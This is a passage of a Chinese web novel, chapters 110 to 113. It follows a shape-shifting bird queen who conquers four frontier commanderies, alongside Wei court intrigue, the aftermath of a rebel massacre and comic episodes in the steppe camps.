战场是有声音的,有时候吵到听不清将军的号令,有时会安静到落针可闻,就像嘈杂的市井,课间的学堂,有时候总会那么恰巧地安静一瞬。在偶尔会有安静一霎的时候,也意味着人少到了一定的地步,代表历时六天的屠杀到了最后的尾声。 江骋对朱大方这些流民军头是谁杀死的并不在意,一边擦刀,一边眉头紧紧地拧着,他的部下属官周鹏也是黑水子弟,周鹏这两天没有参与战事,他都不想把那称之为战事……和屠杀有什么区别呢? 周鹏没穿甲,脸色有些白,低声说道:“少将军,徐都尉那里传信,说他那里的天水贼也已经杀尽了,尸骨盈野……” “此地临近上党,集合兵力,先去上党看看,士卒疲累,尸骨的事就近请上党那边发徭役,征发些农夫来埋骨。”江骋简单说了一下打算,又道:“前些时日,在太原听闻雍西那边乱起的消息,这些天一直忙于天水贼事,正好也可去上党打听一番。” 周鹏连忙低下头,“*是,属下这就去传令集合。” 江骋便继续擦刀,想到太原郡的事,眉心继续拧起。他和常人不一样,心态上不一样,美人相赠对他来说并不是喜事,何况李云那样明显想要像杨裳那样掌控他,万金陪送佳人,在江骋眼中却是:这些人,究竟还要辱他到什么地步呢? 帐中又有属官进门,也是个周鹏一样的黑水军子弟兵,江骋少时叫一声世兄的,他脸色缓了缓,问道:“兄长有事相请?” 这人叫许由,三十来岁微胖模样,笑呵呵地过来坐下,“哎!不是我的事,是底下兄弟们啊,不是太原雁门那些,就咱黑水军的弟兄,这几天不是一直在打仗吗?天水贼里裹挟了不少良家大姑娘呢,这碰到了谁舍得杀?聚了有二三千个,兄弟们意思是……” 江骋一听就拧眉,“在雁门正经娶些有家有户的女孩儿不好?要这些从贼之女做什么?” 许由笑得一脸胖褶子,看起来还有些亲和力,“我的少将军诶!你没懂弟兄们意思,哪个要娶这些从贼女,弄个妓营吧,这些姑娘跟着天水贼走了不少日子了,吃得下从军的苦,叫弟兄们有个消磨去处,多好!” 这年头军营附近总有这些营生,甚至大多不是贱籍,最常做这些的是最底层的随军家属。通常死了男人或者父亲,也没有得到抚恤,无钱归乡,又找不到夫家,就只能在军营附近接客。江骋见过,可怜人罢了,但总归是个无可奈何,是自家操持的营生,军中有些光棍汉没得挑了,也会娶个年轻些的,平时不会叫外人欺辱,这就是围着驻军常有的妓寨。 当年江家落魄,黑水军解散,江骋散了许多家财维系旧部,其中也会包括一些旧部遗孀,他见过有人坚守门户麦饭藿羹拉扯孩儿长大,也见过收了他的接济仍然开门迎客的妇人,对这种事有些嫌恶。 许由又劝,“不然杀了还是放了?她们从贼也有段时间了,弟兄们都盼着想着呢,做军的无非有三个想头,杀人抢钱玩女人……少将军!” 江骋收刀,头也不抬,“女子不成军,我便发个慈悲,或杀或放,没有第三条路。” 许由见实在劝不动,只好唉声叹气地走了。 两千多里外,林一蹲在觻得城墙上唉声叹气,她万万没想到啊!张掖郡守投降得比她来得还快呢,更万万没想到啊,觻得城穷得跟屋兰城一样,当然对于别人来说是很富庶的,金子货物堆满仓,可粮食呢?粮食呢? 张掖郡守段临,字风起,一听名字就知道长得差不了,目前来说林一也没在世家子弟里见过长得不好看的,总之拥有一个好看名字的段郡守温吞吞地说:“张掖并非屯粮之所,而是通商之路,依靠武威郡供粮。” 而今年嘛,不是有人浩浩荡荡组织了使团,去找魏帝老头骗了二十万石粮嘛,这些不可能从洛都调运吧?那么临近雪域的地方需要调粮过去,从哪里调呢?好难猜呀! 林一咳嗽了一声,“那些粮、粮的事不归我管,反正你说张掖没余粮对吧?那我要是从哪里抄出没人要的粮来,可算是我的了?” 段临没吭声,段氏肯定是有余粮,虽比不上武威这样的屯粮之所。而且段氏没有魏朝世族取三成的习惯,更类似雪域的奴隶主制,直接全部收走,交了朝廷的税,然后按人口分口粮,好年景不多给,灾荒年不少发。 早在林一打屋兰那会儿,段临就从武威那边得到消息,然后把粮仓清空了,现在粮食都在农户家里,只要林一肯家家户户去搜,他也给。 林一把觻得城翻了个底朝天,砍了两家犯事不轻的世族,然后率军过境,张掖这破地方真是绝了。 就是走的时候林一有些怕段临跟她要段凛,毕竟人家主动投降的,多少有些面子,好在没跟她要,林一也假装没这回事,她是真的想要守将类型的人才啊! 人到用时方恨少,为什么平时她感觉自己身边人已经够多的了,到了这个时候就觉得少得可怜呢? 九月十八,轻取禄福郡,二十三日,玉门都尉郑北山打破了郡守府,大开关隘,林一策马入境之时,这虎头壮汉当场拿出苏赫阿那的亲笔信,叩头称干娘。 林一挺高兴的,给人当娘就和雪域勇士之间谁输谁叫阿父的父子局一样,是很有成就感的,哪个雌鸟和鸟吵架的时候没说过老娘生的蛋放臭了孵出个你……嗨呀,不提过往,她现在是文明的大鸟。 四郡入手之际,林一急急飞回雪域,抓起了崔殊,然后飞到辽东,把崔殊放下,放在辽东郡守府的正堂座位上,又把姜命拦腰一抱往外飞。 崔殊的冠带歪斜,两撇小胡子迎风飘了飘,露出一个丿-乁的平静表情,“都……来了哈?崔某名殊,殊异于常人之意,字异人,范阳崔氏子,现在是辽东的代理郡守。” 郡守府中众人面面相觑,他们可都是姜命的亲朋师弟,挚交好友,是因为姜命在这里做郡守才来入仕的,这辽东才入正轨,咋……咋把他们郡守抄走了呢? 崔殊两手一摊,我也很无奈啊,我路上就说了,我也可以去雍西做个四郡郡守的啊,可是可敦偏是不让呢。 他在通常时候不会捋胡子,任由两撇小胡子飞来飞去,笑眯眯地说:“先告知我辽东现在的官制品级,各官署管辖范围,事情分个轻重缓急,我看看能不动的地方先不动,有什么姜造化解决不了的事,尽管来!” 路上,林一让姜命把头埋进她胸羽里,飞低了些,快速解释道:“今早刚下的玉门,那地方我们雪域叫六谷之地,武威、张掖、禄福和玉门四郡都到手了。打下来容易治理难,我想过用辽东的法子来对付他们,宰掉世族放粮什么的,可是不一样,辽东穷,抢得直白,但是四郡的世族比他们心眼子多得多!尤其是段氏!目前四郡的情况是这样……” 姜命一直静静地听着,一直等到林一说完所有她观察到的情况,才深吸一口气(不慎吸了一口鸟毛),咳嗽着开口说:“六谷之事,造化已经知晓,也有了些头绪,主君不必烦忧,只是辽东那边还有一些事务需要交接,稍后停落,造化要给崔兄写一封长信,交代一些事情,麻烦主君还要返回一趟。” 那都不是事! 林一得到姜命的承诺非常兴奋,被四郡事务弄得头疼的鸟脑也慢慢松缓下来,长长地吹了一声鸟哨,带着他在天上滑翔了一大圈,才继续老实飞行,过处一片鸟毛乱飞。 嘎!嘎!嘎!到底为什么姜命这种人才不能有丝分裂,自体繁殖,撒豆成姜啊!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 九月过半,曾经浩浩荡荡裹挟四方的流民起义军逐渐被各方势力绞杀,其中天水贼事更是被魏帝亲自派遣史官前往记录,史官从天水乱起开始记载,史料记得详细。 《朔桓王本纪天水贼》中记载:二十四年,陇右大饥,流民起义。天水贼首朱大方、朱二脑袋者,屠户也,刀斫税吏,是年起兵,号曰“见绸衣者即杀”。自天水焚掠而东,沿途裹挟流民,屠戮世家巨室,啸聚十万众。骋受命讨贼,率黑水骑三千并玄甲锐卒二万众,屠,汾水为之不流。 史家几刀笔,竹纸染墨迹,但从历史洪流中把视角真正拉回这个世道,便只剩下“残酷”二字。 在屠刀中幸存的近三千女众,有两个首领,一个是朱大方的妻子张金娘,一个是安定郡小白村的女屠户白二,张金娘是天水贼的“阿嫂”,平日几乎不往女子堆里走,她的威望几乎都来自朱大方。 天水贼众覆灭后,这些女子被官军放走,过了汾水便闹起来,张金娘主张带她们去上党寻婆家,但有人要,便跟着走。白二不同意这点,她记路,从汾水出发回她的老家安定郡有一个多月脚程,这些女子多来自天水贼肆虐的沿途郡县,是可以回返故乡的。在上党或附近的河内郡找男人嫁,死路一条,她们如今是“贼女”,连大头兵都不肯要,指望有家有业的男人愿要?当牛做马死了也没人知晓才是! 张金娘恼白二不晓事,一个月的脚程,不怕路上匪贼,就是不怕,那吃啥喝啥?讨饭回乡吗?何况她也不想回到天水去,当初起事时多么风光,杀了世族走的,回去对她这个贼头妻子也是个死,一个人走就更是绝路。最终女众一分为三,一路千余跟着白二归乡,一路五六百人跟着张金娘去富庶地方找男人,还有些自己有想法,哄散而去。 一个月的时间,对四郡来说几乎是翻了天,姜命一至四郡,先定在张掖设临时四郡府,然后分配守军配额,将各县守军充盈至纸面实力。接着就“帮助”四郡的世族揭起反旗,编了许多反魏(主要是骂萧宏老头本人)的童谣家家传唱,又组织了新戏班,想要潜移默化把四郡弄成辽东那个样子就太远了,主要是“断其退路”。 林一打完收手,在四郡之地留兵六千,这六千可不是普通的兵卒,是骑兵,精锐雪域骑兵,现在辽东那边也就两千多的骑兵驻守。她准备从居延塞打回雪域去,临行前姜命送行,道:“四郡,宝地也,主君回返后,可请部落之中有名望之人前来坐镇,就如同昔年封右贤王一样,但是……” 林一咧开嘴,摆摆手,“这个我知道,你不要当我是只会用兵的野蛮人,四郡本是雪域故地,这样好的位置,这样丰美的土地,为何大单于部不迁在此地,而是要封个右贤王?太深入魏境啦!武威一断,四郡皆失,不适合把苏赫部搬迁过来。我准备在三个王子里挑一个过来给你压阵,人选回去后商量,放心,不管事的。” 姜命自责:“是造化的不是,误解主君谋略,主君乃军神降世,便容易叫人忽略其他……” 嗯,优点是不少,但是这一夸就不得了,直接把林一喜欢听彩虹屁的缺点暴露干净了,林一被夸得鸟脸通红,险些忘记是要带兵回返,都飞上天了才想起来,翅尖一拍鸟头又降落,死活不肯化为人形了,就这么飞在前面带兵走。 呼兰霍兰骑在马上,头抬着看着盘旋在天空的大鸟,口中微微念诵着什么,他的两个同族兄弟好奇地凑过去听。 呼兰因达浑,也就是野生驴子让狗停下刚把耳朵凑上,就听见呼兰霍兰像是唱歌一样背诵着刚才姜命的话:“主君军神降世,叫人忽略其他……军神降世……” 噫!霍兰大哥在学夸姑娘。 一直把大军送出合黎山,姜命才带人回返张掖,如今四郡郡守都在张掖,姜命旁事不提,先提赈灾。如今他手头有林一从魏帝那里骗来的国库粮二十万石,四郡今年本身不怎么缺粮,这笔粮用来赈灾的话,肯定不是在四郡分发。他调配了大量人手,选在刚刚经历过流民作乱的金城陇西安定天水一带放粮。 倒不是故意和魏朝对着干的,而是人家流民起义的地方本身就是蝗灾的重灾区,不是把人逼得吃不上饭,有余粮的郡哪个闹起来了?这四郡的位置和四郡,就好像辽东和辽西。 辽东过得富庶,今年蝗灾虽然损失不少,但是和土豆套种的,蝗灾起来被吃了一些土豆植株,可土豆食用的部分是根茎,是埋在土里的,几乎就等于没遭灾。在自身有余力的情况下,姜命支援了辽西一部分,这当然不是白给。 需要和崔殊交接的就是这部分政策了,姜命是打着不动刀兵,收拢人心,把辽西给争取过来的主意,所谓不战而胜之,他担心崔殊不了解他的意图,会认为他这个辽西人偏帮辽西什么的,影响下一步布局。 崔殊也顺利交接了思路,他觉得姜命还是保守了,想把辽西争取过来,光是施恩怎么行?得挑拨啊,得分割阶层啊,得自下而上啊! 反正这些都暂时和姜命无关了,现任辽东郡守崔殊准备给辽西弄个大的,谁说一个郡不能吞另一个郡对吧。 苏赫忽律跟出去一趟,跟回来一趟,回来的时候还没来得及往黑帐里躺,就听说舅舅拔都终于咽下了那一口气,看着二王子马上红了眼睛,他的谋士们还安慰呢。 “王子,拔都汗临终前回光返照,听说是你求了情才叫他得了善终,临死前一直叫你的名字呢!” “是啊是啊,他可想着我们王子了,我们过去看的时候,他还很担心王子在魏朝那边吃了亏,问王子的安危。” 苏赫忽律大哭道:“是我不好,别说了,我没有见到舅舅最后一面,叫他惦记着我。” 几个络腮胡谋士心疼得不行,这个揉揉他的头,那个拍拍他的背,其实还挺想把王子抱怀里哄哄的,但是抱不得,苏赫忽律从小时候就不给抱,谁张开胳膊推谁一跟头。 王澈路过,他路过其实很正常,因为现在他的帐子不跟着乌苏放了,就安置在核心帐区,和苏赫忽律隔着一条路而已,而他每天的活动范围不超过一个帐区。 他坐在轮椅上,现在推他轮椅的不是侍从了,而是他从雁门带回来的堂哥王澜,王澜初来乍到不久,还挺感动的,压低声音说:“我记得二王子不是因为母家的缘故不受宠爱吗?他对克烈部的感情可真深,哭都不背着人。” 王澈露出一个迷惑的表情,看了一眼王澜。 苏赫忽律还在哭,抽噎着让谋士们带他去舅舅的墓地看看,谋士们安慰他,让他先去梳洗换衣裳,好好的一个王子,跟着大军出去一趟都瘦、哦也没瘦……都黑、啊也没黑,总之就是看着憔悴了些,楚楚可怜的。 苏赫忽律走后,王澈让王澜把他推到阳光好的地方晒晒,这才懒洋洋地说道:“拔都死前说的是,‘苏赫忽律,死了没’,枭雄一世,落到最后任人宰割还死不掉的下场,难道还会感激吗?” 王澜不理解,反正他觉得落败的枭雄能得一个善终是很好的事情,何况那拔都大汗死前还有美人不离不弃,真是羡煞旁人。 王澈不置可否。 林一回到雪域的第一件事就是开庆功大会,这趟夺取四郡可没抄几个世族,但是也没成本啊!军粮是魏朝友情赞助的,这趟带出去一万八千,伤亡有些,但是几乎没有影响这个整数。 得知失去两百多年的六谷之地重归雪域,苏赫王部这边庆功欣喜不提,就连许多小部落都欢喜极了,距离近的就想着动身搬迁了,当然这得往上打申请,只要真的离得近,林一就给批。 回来时雪域已经开始下雪,忙活了一段时间后,也快到了雪域真正的雪期,大雪封冻,不过今年和往年大不相同。 为了省时间,今年苏赫部建的都是大通间,一列一列的排屋竖立在河谷两侧,从黑石部落运来的大量黑石堆积如山,每个大通间住百人以内,大多数以家庭为单位分的铺位。没有像专门供给老人小孩的两人一铺制,而是一家子一个大铺,有的孩子多的需要横七竖八挤着睡,但就这样就已经很好了。 外头白雪皑皑,大通铺里温暖如夏日,小孩子在铺位之间跑跳,为平时住得很远的小伙伴如今就睡在邻床感到新奇,雪域的小孩子通常不是三五成群,而是像骑队那样二三十人一个小团伙,有的家庭会为了小孩子的团伙而选择特定的大通铺。 林一寒暑不侵,但是她特别喜欢大通铺的气氛,总是这间溜达到那间,哪里热闹往哪里挤。 她怀疑可能是基因里带了不少群居鸟类的习性,当然她现在是不承认自己的基因里,可能掺杂的鸡鸭属性最多。 第112章 这个冬天,当然对魏朝来说还没有过冬,今年气温一直很反常,十月年关都还没有下雪,甚至有时候还会突然升温,跟秋老虎一直没过去似的。 朝堂诸公并没有因为暖冬的舒适而好过,从流民乱起,魏帝萧宏就急得嘴上起燎泡,等到雪域那边攻打雍西四郡的消息传来,更是气得两眼一翻。别误会,老头没事,老头身体好,气晕了一个多时辰后顶着一脑门金针醒过来,然后就开始三天催十次战报那么地关心前线。 流民无有远见,天水贼来势汹汹,但没有选择西进夺取武威,而是向着关中平原进攻,不仅路途遥远,而且一路经过的郡都有扎根千年的大郡望,最初得到消息时虽然焦急,但萧宏也知道流民无法长久,迟早会被世族消磨消化干净,也许坏事变好事,他可以从中取利也说不定。 可万万没想到,雪域趁机南下,攻占雍西四郡,不知道怎么打得这么快,萧宏难得下定一次决心掏朝廷的钱来组织粮马守卫四郡,就得到消息,四郡已失。 萧宏养尊处优一辈子,是个体面的老皇帝了,得知四郡一个月内就被雪域人攻打下来,忍不住气得直跳脚,什么卖尻的,蛮牝犬,吃恁爹信球,全是粗鄙之语一连骂了好几天。有臣子体察圣意,上书请战,被老头抓起来扔牢里去了。 凡事叫得凶,那是在撒气,真想打战,那就是胸有激雷而面不改色了,那口气是憋着的,不会泄出去的。 打,怎么打?雍西那地方就近要调关陇驻军,调了关陇驻军还得给军粮,驻军一走,刚刚平息下来的流民之乱又得起,请战?请个球球! 萧宏想到给出去的那二十万石粮,那可不是二十万石!运粮途中有折损的,运粮兵要吃用的,就算是就近调的,也有折损的,该死的苏赫二王子,骗朕的钱!朕的钱! 老头气了有两天,后妃那边又传话来请,本以为是妃子想他了,毕竟也有些天没去后宫,萧宏觉得还挺宽慰的。但到了后妃殿里,温存话没说上几句,那世族出身的妃子就轻柔缓和地说起被他关在牢里的臣子了,那是她族弟,大世族!关几天得了显着你了,咋?还准备给弄死? 当然原话不是这么说,可意思就这么个意思,萧宏气得饭都没在世族妃子殿里吃,出门下令放了人,就直奔两个舞姬小才人的宫里去泄火。 那世族妃子在他后头翻白眼,好像谁稀罕老头的宠似的,太子都封完了。 朝堂上皇帝恼,朝堂下官员也常聚会,这时下流行清谈,许多年轻的世家子弟也会在这种清谈场合出道,展示口才辩才急智诗文等。这日范阳崔氏的两个子弟由长辈引入一场清谈聚会,听了半个时辰的玄,一名十六七岁的崔氏子崔元被长辈引入话题,他终于忍不住开口道:“如今雍西为异族所据……” 席间诸公有半数皱起眉头,主家姓王,乃大儒名师,笑着打断道:“崔小友,此间静室,金气扰人,不谈时局兵事,只谈天说地,清谈人生而已。” 崔元不解,仍是说道:“雪域贼狼子野心,去岁占辽东,今秋下四郡,对我中原呈钳角之势,此时危急存亡,为何诸公避而不谈?” 带他来的长辈拉了拉他的衣袖,崔元抿唇坐下,但按葫芦起了瓢,崔元的堂弟崔语霍然起身,接着堂兄的话说道:“我兄弟二人初来洛都,有幸入此间来,想听的无非是诸公对雪域的看法,如何应对,并不是为着‘人生天地间,忽如远行客’来的!如今倒是有些‘可怜夜半虚前席,不问苍生问鬼神’之意了!此等清谈,误国误民矣!” 他脾气大,摔了一盏风氏瓷就走,崔元马上跟上,但是舍不得摔瓷,他手里这盏风氏瓷非常精美,属于孤品,上粉下白,合拢杯盖时是一朵莲花模样,只能重重一摆放,兄弟二人离席后,众人的心情也都没有被两个没有眼色的小辈影响,主家打趣对带二人参加清谈的崔氏长辈说道:“崔公家中小辈,一个比一个鲜活,就如异人那孩子……” 崔氏长辈脸色不变,心里沉重,崔殊也是他的侄子辈,自小天赋神异,取名为殊,殊于他人之意,早早被确立为宗子,内定成为崔氏下一辈的掌舵人。入仕后也是锋芒毕露,却遭到魏帝蓄意打压,流散边关后再无消息。 这是崔氏之痛,此时被打趣一样说出,自然是对崔元崔语兄弟恶言恶语拂袖离席的体面反击了。 两兄弟离开主家的郊外别野,一人骑一匹红马踏野而去,路上,崔元问堂弟:“今日得罪人了,本就是游学,看来洛都不好待,我想北上雁门,看看塞外风光,阿语你呢?” 崔语拍了拍马脖子,沉声说道:“兄长,话已经说开,我不妨直言,魏朝气数要尽了!朝上衮衮诸公不谈兵事谈幽玄,此上行下效也!君王无道,诛我良才,对世族下得动屠刀,面对外敌却卑躬屈膝。雍西失土,竟不许百姓议论,朝堂缄默,不亡岂有此理?” “阿语,你和殊堂兄关系近,心态上偏激了些。”崔元说道:“还没有那么远,关陇未失,沿边一带仍然是我魏土,我想北上雁门,就是想要看看大魏是否仍然有救。” 崔语不觉得自己偏激,一叶落而知天下秋,这是崔殊教他的道理。 两人回去之后就收拾东西,给长辈留下书信,然后前往雁门。世族子弟出行游学,其实自身没必要携带大笔钱财,每到一地去拜访当地世族,报上自家姓氏郡望,就能得到盘缠住处,他们从范阳来到洛都,基本上就没用过钱。 崔氏起源于姜姓,自先祖崔季子下衍,目前主要分三支大族,清河崔氏、博陵崔氏和范阳崔氏,三支均位列一品世族之门第。而无论是哪支崔氏,族中子弟到哪里都是座上宾。 冒充世族是冒充不来的,世族子弟有世族子弟的眼界学识,外貌礼仪也是辨识标志,因为自家子弟也会外出游学,世族之间基本上有不成文的规定,最多是待遇的高低差别,不可能出现将人拒之门外的情况。 一场大雪覆盖大半雪域,湖河封冻,林一在温暖的大通铺里窝了十几天,忽然想起北都那边。 她最开始打下塔塔尔部后,把韩小六和崔殊放在那边坐镇,韩小六军事思维很不错,她准备培养培养的,崔殊则是用来辅助韩小六治理北都的。因为韩小六这个人吧,他对政务案情这些东西都不太行,但是!崔殊好像先被她叫回苏赫部,后又被她平换到辽东做郡守,现在、貌似、好像,整个北都都在韩小六手底下了。 他不会把北都玩完了吧? 林一垂死病中惊坐起,从大通铺出来,没多远就看到格桑在雪地练兵,雪天人穿得厚实,动作起来很费劲,但健妇们往往都有一个壮实的好身板,而且都很努力。教头是赵春儿,她声音细弱,每说一句话,格桑就大声重复一遍,让军中姐妹都听得清楚。 “大多女子身形天生比男儿矮小,力气也差了一些,不需要气恼我的话。这不是缺陷,强壮者难以敏捷,敏捷者力量不足,这都是先天的差异,就像母鸡偏肥,公鸡肉多一样,女子的身体不适应搏杀。但是练习更多的技巧可以补足身体上的差异,学会使用兵刃,甚至可以借助女子的弱势来更好地隐藏自己,看准时机就可一击必杀。” 赵春儿说着,对格桑大娘特意拉来的阿克点了点头,高壮的阿克才升任亲卫队长不久,当着一堆姐姐姨姨的面,可没有半点放水的想法,得到示意,举起拳头直逼赵春儿的面门,脚下已经拉开绊她的架势。 格桑眉头皱起,但是赵春儿反应极为灵敏,稍微偏头避开阿克的拳头,脚下顺势一个小跃跳在阿克膝弯,像个灵活的猴子一样拦腰抱住阿克的腰,高大的雪域勇士反应过来,脸上微微一红,然后就被五指按住了脖颈,如果赵春儿拿着刀的话,他现在脖子已经被切开了。 格桑脸上立刻露出笑容,好像被制服的不是她亲儿一样。赵春儿从还在晕乎的阿克身上跳下来,认真地说道:“最适合女子的兵刃,绝不是大开大合的长兵,而是匕首,短刀,弓箭等,像格桑大娘这样力气胜于正常女子甚至男子的,不在我说的范围之内。学习使用适合自己的技巧和兵刃,绝不要正面和人拼力量,我所设想的娘子军,不是一支正面拼杀的队伍,而是探子斥候侦察一类的军种。” 林一立刻忘记了韩小六,嘎嘎嘎地鼓起掌来,她发誓没有她教过赵春儿特种作战理论,完全是赵春儿自己摸索出来的想法,林一先前只想过女骑兵这种方案,完全没想到女军可以用来特种作战,这是绝对的人才,人才! 女军们看到林一比看到格桑都亲切,纷纷要拉她来做指导,林一信心膨胀,咧开大嘴,踢了一脚教学用具阿克:“去!叫一帐亲卫来,我要打四百个!” 阿克揉了揉屁股,认命去叫人,身后,健妇们顿时发出欢呼助威之声。 远在不知道哪里的韩小六遥看苏赫王部的方向思念着故地,眼中饱含泪水,大萨满还在他身边围着他跳神,那白色的眼睛时不时像狼一样转动,念诵着听不懂的雪域古语。 被遗忘的这些日子,他是一点都没闲着,起初听信崔殊的撺掇,自贝加尔湖北出,一统安加拉河流域诸部,他和崔殊两人合作无间、热火朝天,搞得风生水起的时候,外置大脑崔殊被召回苏赫王部,分别时将谋二人抱头痛哭,依依不舍。 送别崔殊,韩小六开始自己操作,沿叶尼塞河三千里南北纵深穿插,攻占了克特、埃文、鄂温克和尤卡吉尔等沿河部落。他现在自己都不知道自己在哪里,只知道这些部落都很奇怪,被征服后就前呼后拥跟着他了,比猎犬都要听话,热切地带着他去打宿敌,让宿敌也被征服,然后他们现在每天做的事就是到一个地方,打一个地方,再到一个地方,打一个地方。 你说他一个江淮人,怎么就稀里糊涂成了什么叶尼塞河霸主、天神之鞭、冰原来的征服者呢? 第113章 四天后,林一在叶尼塞河上游地段找到了正在骑马打仗的韩小六,他又瘦又矮,很明显在北都的这段时间没有贪污,带着一行千把人呼啦啦地在和一群叶尼塞土著打仗,而且很快打赢。 韩小六打赢后是有一套流程走的,先是大萨满带领一众骑兵唱起颂歌,然后拔掉土著部落的旗帜,换上林一的凤凰踩狼旗,然后再竖起大篆体的韩字军旗。韩小六本身也算个寒门(?),他家传有半卷孙子兵法,也知道自己的姓氏大篆小篆隶书如何写,其实远在江淮那边的老家,他家里虽然没有田种,但在城区有一个大屋,这也是祖上阔过的证明。 林一盘旋在天上观察了一段时间,发现还不如不观察。 夜晚,叶尼塞河的霸主、天神之鞭,冰原来的征服者出了帐子准备撒尿,被拍了拍肩膀,熟悉的鸭子嗓在耳后响起,“六儿,你咋弄这来嘞?” 韩小六撒尿的动作顿了顿,回过头来,眼泪一下子就在脸上划出两道冰痕,呜呜直哭,“我也不晓得,可敦,可敦!我想家去,他们每天带着我去打架,这不是打仗,是打架!” 是的,白天林一看到的骑马打仗,真就是雪域小孩子的那种,手里一根棍,谁把谁杵下马就算赢,打了一个多时辰没有死者,最多有一两个被杵断肋骨的,所以说她才觉得奇怪,让韩小六看着北都,他咋跑来找土著干架? 深夜,大羊皮帐子里,林一和韩小六,还有大萨满,三人对谈,点了一盘肥油脂照亮,时不时有噼里啪啦的声响,闻起来还怪香。 大萨满起手歌功颂德,“我王!韩将军自入夏以来,征战安加拉,震慑叶尼塞,扩我雪域版图……” 林一让他先坐下,“别嚷别嚷,要扩也该往南扩,你们往这边山地沼泽扩啥扩。” 大萨满有些不满林一对韩将军这样的态度,这些日子的所向披靡让老头有些膨胀来着,然后就看到*天神之鞭哭得稀里哗啦,说了一连串他不大听得懂的魏语,不应该啊,他学过的啊。 大萨满仔细听去,听见些甚么“浪你马”,“让你先骂”等江淮一带的小众方言。 好不容易等天神之鞭哭累了,林一拍着他的背,询问他这些天的经历,韩小六抽噎着说:“我早先是在北都那国待着的嘛,是崔殊跟我讲,说边上一些小部落很不讲理,应该锤锤,然后就打起来了嘛,他们神气六国哇呜国机的,我怎甘不着气!然后打完,他又说向西,西边其实没什么好打的,我喊的千把个人,我们一人一巴掌都把西边这些土人获死的了……” 仍然是比较难懂的淮话,但是林一大致分辨出来了,就是崔殊撺掇的,缺德军师一向有土地不足恐惧症,哪怕在北都这种前不着村后不着店的地方都想着搞扩张,也就好在没弄个万骑远征军什么的,那样林一就要把韩小六和崔殊两个一人一巴掌获死。 韩小六反正是想回家了,他连北都都不想待,想要回到苏赫王部去,回到阿娘身边去。林一也琢磨,把韩小六放在这儿可惜了,这种级别的扩张能力,恁应该南下去扩,去把朔方五原那些郡扩回来。 次日,听闻这个多出来的女人要把他们的天神之鞭带走,土人们呜呜渣渣就是不肯,离了韩小六,哪个能带着他们打扁宿敌啊!也许这些叶尼塞河的土人行为语言都比较难懂,倘若换算一下的话:山里的野人蛮族,长期和其他部族看不顺眼,此时天降一个大将军,先锤他们一通,又让他们带着他去锤别人,自己都已经挨打了,怎么能不让宿敌去挨两巴掌?何况早加入的已经混得很好了,谁懂这种带路党的快乐!他们又没有国家的概念。 林一大手一挥,没事,我们先走,你们后跟,放弃这条麻麻赖赖的河,都去圣湖落户安家!俺那边能种土豆! 土人面面相觑。 然后马上放弃了韩将军,转投鸟大王宽阔的胸怀。他们住在叶尼塞河,不代表不知道东边(对比他们而言的)富庶,可是你们猜他们干啥祖祖辈辈住这边?塔塔尔部对比苏赫王部可能比较怂,但人家打周边的野人群落不比父亲打儿子费劲啊。 转天叶尼塞河沿岸就开始了人类的大迁徙,林一则先带着韩小六回到苏赫王部,韩小六他娘韩黄彩早就分上了大通间的铺位,而且还当上了那间大通间的管事。她真的很擅长管理,雪域人脾气冷硬,原先都是一个帐篷住一家子,大家离得远远的,现在一个大通间近百人,每天矛盾少不了,通间管事便应运而生。 基本上这些通间管事都由骑队长来担任,一个高壮的男人又有军职在身,通常就会很有威望,而韩黄彩……她找工匠磨了骨牌,教大家打牌玩,每天她这边的通间都是最和谐的,她也教人吵架,嘴皮子上吵干净了,不就不打架了嘛! 韩小六满心以为能见到一个温柔关心他的老娘,他好想吃老娘做的炖肉。然而天神之鞭满怀期待地掀开通间的牛皮帐帘,然后合上,再揭开,就看到三五个比他大不了几岁的雪域勇士围着他娘转。这个问手里的骨牌怎么打,那个说自己的铺位有些潮,还有一个不要脸的敞着胸怀,我就问你,大雪天的你冷吗?你有冷到敞着扔子张开手臂大笑着说话,就差把我老娘抱怀里的地步吗? 忽然有人推了他一把,韩小六气力不足,险些被推一个跟头,回过头刚要说话,就看到万骑长克托,克托本来不耐烦的脸色一下子春暖花开,咧嘴笑道:“是六儿啊,你回来了,你娘一定欢喜死咯!” 韩小六眯眼看他,雪域人不说欢喜这个词,中原也不这样把欢喜和死咯一起讲,这词是江淮话里的。 韩黄彩听见动静看向门口,马上就欢喜地跑了过来,先给韩小六头上来了一下子,然后就对克托笑着说:“阿塞万骑又来看老太太呀?她好着呢,哎哟也不知老太太怎么就这么欢喜打牌,大冷天要阿塞万骑来回跑。” 韩小六又看向克托万骑长,我也是第一次知道你姓阿塞,我以为你就叫克托来着。 阿塞克托的脸有些黑红,反正正常人看不出来他脸红了,嗓子细声细气的,带一点江淮的调调,“诶,我娘欢喜就让她玩,比从前在帐子里没人跟她讲话好得多的啦。小六他娘,你看孩子风尘仆仆的,进去讲,叫他暖暖身子,也看看我们这边盖起的暖房。” 他又故作不经意地道:“等春天化雪,大汗说要建一批新屋,是独门独户的那种,按照这些年对部落的贡献优先给我们老骑兵盖,我能分三屋一堂两个羊棚一个牛棚和马场,都是大汗看重!就是我的牛羊啊马啊都比较多,可能羊棚牛棚还得自己多盖几间,嗨!我身子壮,多吃些累没得事!” 天神之鞭没吃上老娘炖的肉,习惯性开口喊老娘的时候还被韩黄彩打了一下头,怎么说话的!现在老娘搁这儿也是一枝花了,什么老不老的! 这会儿人都挤在砖屋里,但原先的黑帐也没有放弃,大部分停用的就仍支起来,种些土豆苗,议事大帐则还在使用,因为本身材质很好,现在的砖屋还撑不起来议事大帐那样的面积,出入也方便。 苏赫阿那白天在议事大帐处理事务,晚上睡帐已经换成了抹了白蚁土的砖屋,很小的,类似辽东那种稍微体面的村屋,东西头一间放置藏书杂物,一间用来睡觉。林一十个晚上有七回会来和他睡,有时候外出,像她这种鸟也有夜巡捕猎的食性,绝对没办法定时定点回家。 今晚夜已过半,苏赫阿那放下手中的书卷,从西头屋走到东头,亲卫已经把炕烧得暖烘烘的,炕头这边的不能睡的,太烫,苏赫阿那整理了一下狼皮褥子,在炕尾刚刚枕下,就感觉外间风动,一个鸟头探了进来。 苏赫阿那拉平了一天的嘴角陡然上扬,林一就着鸟身上炕,屋子和炕都是加大的,能让大鸟在上面滚两圈,林一也不怕热,在炕头卧下,嘎嘎粗的嗓子说着今天拉韩小六一个来回的事。 “打西边!我把他打到西边!你都不知道,那边那个叶尼塞河,上游是山地和峡谷,就有个盆地,那么点点大,中游大河谷和林地,还有很多很多的沼泽……” 